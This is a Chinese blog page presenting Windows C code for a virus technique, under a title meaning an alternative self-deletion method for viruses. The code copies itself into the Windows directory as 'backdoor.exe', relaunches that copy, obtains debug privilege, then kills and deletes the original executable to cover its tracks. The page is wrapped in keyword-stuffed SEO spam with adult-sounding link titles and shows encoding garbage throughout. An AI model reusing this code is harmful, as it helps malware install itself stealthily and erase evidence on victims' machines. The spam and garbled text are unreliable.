亚洲免费在线-亚洲免费在线播放-亚洲免费在线观看-亚洲免费在线观看视频-亚洲免费在线看-亚洲免费在线视频

另類病毒的自刪除方法

系統(tǒng) 1880 0

//? 調(diào)整權限

VOID DebugPrivilege()

{

??? HANDLE hToken = NULL;

???

??? BOOL bRet =OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken);

???

??? if ( bRet == TRUE )

??? {

??????? TOKEN_PRIVILEGES tp;

??????? tp.PrivilegeCount = 1;

???????LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);

??????? tp.Privileges[0].Attributes= SE_PRIVILEGE_ENABLED;

???????AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);

???????

??????? CloseHandle(hToken);

??? }

}

?

//? 獲得某進程的 PID

DWORD GetProcessId(char *szProcessName)

{

??? DWORD dwPid = 0;

??? BOOL bRet = 0;

??? PROCESSENTRY32 pe32 = { 0};

??? pe32.dwSize =sizeof(PROCESSENTRY32);

?

??? HANDLE hSnap =CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

??? bRet = Process32First(hSnap,&pe32);

?

??? while ( bRet )

??? {

??????? if (strcmp(pe32.szExeFile, szProcessName) == 0 )

??????? {

??????????? break;

??????? }

??????? bRet =Process32Next(hSnap, &pe32);

??? }

?

??? dwPid =pe32.th32ProcessID;

??? return dwPid;

}

?

//? 結(jié)束某進程

VOID CloseProcess(DWORD dwPid)

{

??? HANDLE hProcess =OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);

??? TerminateProcess(hProcess,0);

??? CloseHandle(hProcess);

}

?

這幾個函數(shù)完成后,我們就來根據(jù)病毒的流程來完成病毒的主體代碼,代碼如下:

int main(int argc, char **argv)

{

??? // Windows 目錄

??? char szWinDir[MAX_PATH] ={ 0 };

??? //? 當前目錄

??? char szCurrDir[MAX_PATH] ={ 0 };

?

???GetWindowsDirectory(szWinDir, MAX_PATH);

??? GetModuleFileName(NULL,szCurrDir, MAX_PATH);

?

??? //? 獲取當前的目錄

??? int ch = '\\';

??? char *pFileName =strrchr(szCurrDir, ch);

??? int nLen =strlen(szCurrDir) - strlen(pFileName);

??? szCurrDir[nLen] = NULL;

?

??? if ( strcmp(szWinDir,szCurrDir) == 0 )

??? {

??????? //? 相同目錄

??????? //? 判斷參數(shù)個數(shù)

??????? //? 根據(jù)參數(shù)個數(shù)判斷是否需要刪除原病毒文件

??????? //? 如果病毒是開機自動啟動的話,不會帶有參數(shù)

??????? printf("argc = %d\r\n", argc);

??????? if ( argc == 2 )

??????? {

??????????? ch = '\\';

??????????? pFileName =strrchr(argv[1], ch);

??????????? pFileName ++;

???????????printf("pFileName = %s \r\n", pFileName);

??????????? DWORD dwPid =GetProcessId(pFileName);

??????????? printf("dwPid= %d \r\n", dwPid);

??????????? DebugPrivilege();

???????????CloseProcess(dwPid);

??????????? pFileName =argv[1];

???????????printf("pFileName = %s \r\n", pFileName);

??????????? Sleep(3000);

???????????DeleteFile(pFileName);

??????? }

??????? else

??????? {

??????????? //? 病毒的功能代碼

??????? }

??? }

??? else

??? {

??????? //? 不同目錄,說明是第一次運行

?

??????? //? 復制自身到 windows 目錄里下

??????? strcat(szWinDir,"\\backdoor.exe");

???????GetModuleFileName(NULL, szCurrDir, MAX_PATH);

??????? CopyFile(szCurrDir,szWinDir, FALSE);

?

??????? //? 構造要運行 windows 目錄下的病毒

??????? //? 以及要傳遞的自身位置

??????? strcat(szWinDir," \"");

??????? strcat(szWinDir,szCurrDir);

??????? strcat(szWinDir,"\"");

??????? printf("%s\r\n", szWinDir);

??????? WinExec(szWinDir, SW_SHOW);

??????? Sleep(1000);

??? }

?

??? // getch() 模擬病毒的動作

??? //? 保持病毒進程不退出

??? getch();

??? return 0;

}

另類病毒的自刪除方法


更多文章、技術交流、商務合作、聯(lián)系博主

微信掃碼或搜索:z360901061

微信掃一掃加我為好友

QQ號聯(lián)系: 360901061

您的支持是博主寫作最大的動力,如果您喜歡我的文章,感覺我的文章對您有幫助,請用微信掃描下面二維碼支持博主2元、5元、10元、20元等您想捐的金額吧,狠狠點擊下面給點支持吧,站長非常感激您!手機微信長按不能支付解決辦法:請將微信支付二維碼保存到相冊,切換到微信,然后點擊微信右上角掃一掃功能,選擇支付二維碼完成支付。

【本文對您有幫助就好】

您的支持是博主寫作最大的動力,如果您喜歡我的文章,感覺我的文章對您有幫助,請用微信掃描上面二維碼支持博主2元、5元、10元、自定義金額等您想捐的金額吧,站長會非常 感謝您的哦!!!

發(fā)表我的評論
最新評論 總共0條評論
主站蜘蛛池模板: 看欧美毛片一级毛片 | 99热国产这里只有精品9九 | 国产亚洲欧洲 | 亚洲图片国产日韩欧美 | 免费人成在线观看69式小视频 | 欧美日韩一区二区亚洲 | 久青草国产手机视频免费观看 | 麻豆伦理 | 蝌蚪久久| 一级毛片免费播放 | 色婷婷综合欧美成人 | 欧美夜夜撸| 八戒久久精品一区二区三区 | 级毛片 | 日韩亚洲欧美一区二区三区 | 神马影院伦理我不卡 | 成人毛片在线视频 | 国产日产欧美一区二区三区 | 亚洲最新视频在线观看 | 亚洲视频区 | 久久综合久久综合九色 | 欧美13一14周岁a在线播放 | 中文一区二区 | 免费一级毛片清高播放 | 亚洲成人在线播放视频 | 亚洲高清中文字幕综合网 | 青青青青青青久久久免费观看 | 久久久久日韩精品无 | 奇米影视666 | 亚洲成a人片在线观看www | 99热久| 欧美毛片在线 | 一区二区三区四区视频在线观看 | 91精品国产自产91精品 | 久草加勒比 | 久久这里| 夜夜草天天干 | 青青热久久国产久精品 | 国产人成精品 | 久草视频中文 | 青青草这里只有精品 |